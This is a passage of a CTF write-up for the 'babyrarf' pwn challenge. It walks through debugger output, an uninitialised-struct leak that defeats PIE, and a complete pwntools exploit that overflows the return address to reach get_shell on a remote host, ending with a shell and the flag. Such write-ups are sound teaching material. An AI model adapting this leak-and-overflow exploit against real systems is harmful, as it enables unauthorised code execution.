0x00007fffffffdf78│+0x0030: 0xdb21ca7fd193f05a
0x00007fffffffdf80│+0x0038: 0x00005555555550b0  →  &amp;lt;_start+0&amp;gt; endbr64 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555552de &amp;lt;choose_attack+234&amp;gt; mov    rdx, QWORD PTR [rbp-0x18]
   0x5555555552e2 &amp;lt;choose_attack+238&amp;gt; leave  
   0x5555555552e3 &amp;lt;choose_attack+239&amp;gt; ret    
 → 0x5555555552e4 &amp;lt;main+0&amp;gt;         push   rbp
   0x5555555552e5 &amp;lt;main+1&amp;gt;         mov    rbp, rsp
   0x5555555552e8 &amp;lt;main+4&amp;gt;         sub    rsp, 0x40
   0x5555555552ec &amp;lt;main+8&amp;gt;         mov    QWORD PTR [rbp-0x20], 0x0
   0x5555555552f4 &amp;lt;main+16&amp;gt;        mov    QWORD PTR [rbp-0x18], 0x0
   0x5555555552fc &amp;lt;main+24&amp;gt;        mov    DWORD PTR [rbp-0x14], 0x64
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: &quot;babyrarf&quot;, stopped 0x5555555552e4 in main (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555552e4 → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And at the call to fgets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   0x55555555537d &amp;lt;main+153&amp;gt;       lea    rax, [rbp-0x20]
   0x555555555381 &amp;lt;main+157&amp;gt;       mov    esi, 0xa
   0x555555555386 &amp;lt;main+162&amp;gt;       mov    rdi, rax
 → 0x555555555389 &amp;lt;main+165&amp;gt;       call   0x555555555060 &amp;lt;fgets@plt&amp;gt;
   ↳  0x555555555060 &amp;lt;fgets@plt+0&amp;gt;    jmp    QWORD PTR [rip+0x2fca]        # 0x555555558030 &amp;lt;fgets@got.plt&amp;gt;
      0x555555555066 &amp;lt;fgets@plt+6&amp;gt;    push   0x3
      0x55555555506b &amp;lt;fgets@plt+11&amp;gt;   jmp    0x555555555020
      0x555555555070 &amp;lt;execve@plt+0&amp;gt;   jmp    QWORD PTR [rip+0x2fc2]        # 0x555555558038 &amp;lt;execve@got.plt&amp;gt;
      0x555555555076 &amp;lt;execve@plt+6&amp;gt;   push   0x4
      0x55555555507b &amp;lt;execve@plt+11&amp;gt;  jmp    0x555555555020
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
fgets@plt (
   $rdi = 0x00007fffffffdf20 → 0x0000000000000000,
   $rsi = 0x000000000000000a,
   $rdx = 0x00007ffff7f97980 → 0x00000000fbad208b
)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: &quot;babyrarf&quot;, stopped 0x555555555389 in main (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555555389 → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So main_ret_addr minus player.name is equal to: &lt;code&gt;0x00007fffffffdf48 - 0x00007fffffffdf20 = 40 &lt;/code&gt;.
So we have basically a padding of 40 bytes before the return address, and according to the last fgets, we can only enter 48 bytes.
We can so overwrite only the return address.&lt;/p&gt;
&lt;p&gt;Now we can take a look at the permissions:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  checksec
[+] checksec for &apos;/home/nasm/dist/babyrarf&apos;
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✓ 
Fortify                       : ✘ 
RelRO                         : Partial
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can see, the binary is PIE based, so in order to jump on get_shell we need to leak some binary&apos;s functions.
To do so we can mind the code of &lt;code&gt;choose_attack&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;attack choose_attack(){
    attack a;
    int id;
    /* Some print stuff */
    id = read_int(); // It is readinf the type of weapons we want
    
    /* Here it is handling properly dammage and weapon type */

    else if (id == 4){
        if (score == 0){
            puts(&quot;l0zers don&apos;t get cr0wns\n&quot;);
        }
        else{
            a.id = 4;
            a.dmg = 40;
        }
    }
    else{
        puts(&quot;Please select a valid attack next time\n&quot;);
        a.id = 0;
        a.dmg = 0;
    }
    return a;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The interesting part is that when our score is zero and that we choose the fourth weapon, the id et dmg fields are not initialized.
And so it&apos;s returning a non initialized struct that it will print just next in the main function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
    /* ... */
    a = choose_attack();
    printf(&quot;You choose attack %llu\n&quot;, a.id);
    printf(&quot;You deal %llu dmg\n&quot;, a.dmg);
    /*...*/

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Uninitialized structures are very useful to obtain leaks because their content is depending of the ancient stackframes which have stored local variables and especially useful pointers.
And when we try to leak these datas, we can see that a.id displays the address of &lt;code&gt;__lib_csu_init&lt;/code&gt;.
So we just need to leak the address of &lt;code&gt;__lib_csu_init&lt;/code&gt; to compute the base address of the binary and so the address of &lt;code&gt;get_shell&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from pwn import *

#p = process(&quot;babyrarf&quot;)

r = remote(&apos;35.204.144.114&apos;, 1337)
e = ELF(&apos;babyrarf&apos;)

set_ = False
base = 0
csu_leak = 0

def padd(d):
    return d + &apos;\00&apos;*(8-len(d))

print(r.recvuntil(&quot;What is your name?\n\n&quot;))
r.sendline(&quot;nasm&quot;)
print(r.recvuntil(&quot;4. A cr0wn\n\n&quot;))
r.sendline(&quot;1&quot;)

while True:
    a = r.recvuntil(&quot;4. A cr0wn\n\n&quot;, timeout=1)

    if not a:
        break
    print(a)
    
    if not set_:
        r.sendline(&quot;4&quot;)
    else:
        r.sendline(&quot;1&quot;)

    b = r.recvuntil(&quot;You choose attack &quot;)

    if &quot;l0zers don&apos;t get cr0wns&quot; in b:
        leak_csu = int(padd(r.recvline().replace(&quot;\n&quot;, &quot;&quot;)))
        print(&quot;leak_csu={}&quot;.format(hex(int(leak_csu))))
        base = leak_csu - e.symbols[&apos;__libc_csu_init&apos;]

        print(&quot;base: {}&quot;.format(hex(base)))

        set_ = True

print(r.recvuntil(&quot;Congratulations! You may now declare yourself the winner:\n\n&quot;))

#gdb.attach(p.pid)
r.sendline(&quot;A&quot;*40 + p64(e.symbols[&apos;get_shell&apos;] + base))
r.interactive()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can compute compute the value of rand to avoid bruteforce, but I&apos;ve choosen to do not. So while it does not print &lt;code&gt;l0zers don&apos;t get cr0wns&lt;/code&gt;, I&apos;m sending 4 for cr0wn and when it is teh case I get my leak of the csu and I compute the base address.
When It&apos;s done I&apos;m sending 1 because it sounds more speed and I wait to win.
And when I won I can trigger the buffer overflow and jmp on &lt;code&gt;get_shell&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* ... */
/* lot of iterations */
/* ... */

You deal 40 dmg
The boss deals 70 dmg
You lost!

Choose an attack:

1. Knife

2. A bigger knife

3. Her Majesty&apos;s knife

4. A cr0wn


leak_csu=0x55b3b5b3a4d0
base: 0x55b3b5b39000
You deal 140736258161760 dmg
The boss deals 96 dmg
You lost!

Congratulations! You may now declare yourself the winner:


[*] Switching to interactive mode
$ cat /home/babyrarf/flag.txt
union{baby_rarf_d0o_d00_do0_doo_do0_d0o}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The final script can be found &lt;a href=&quot;https://github.com/ret2school/ctf/blob/master/2021/unionctf/pwn/babyrarf/p0wn.py&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That&apos;s all folks :)&lt;/p&gt;
</content:encoded></item></channel></rss>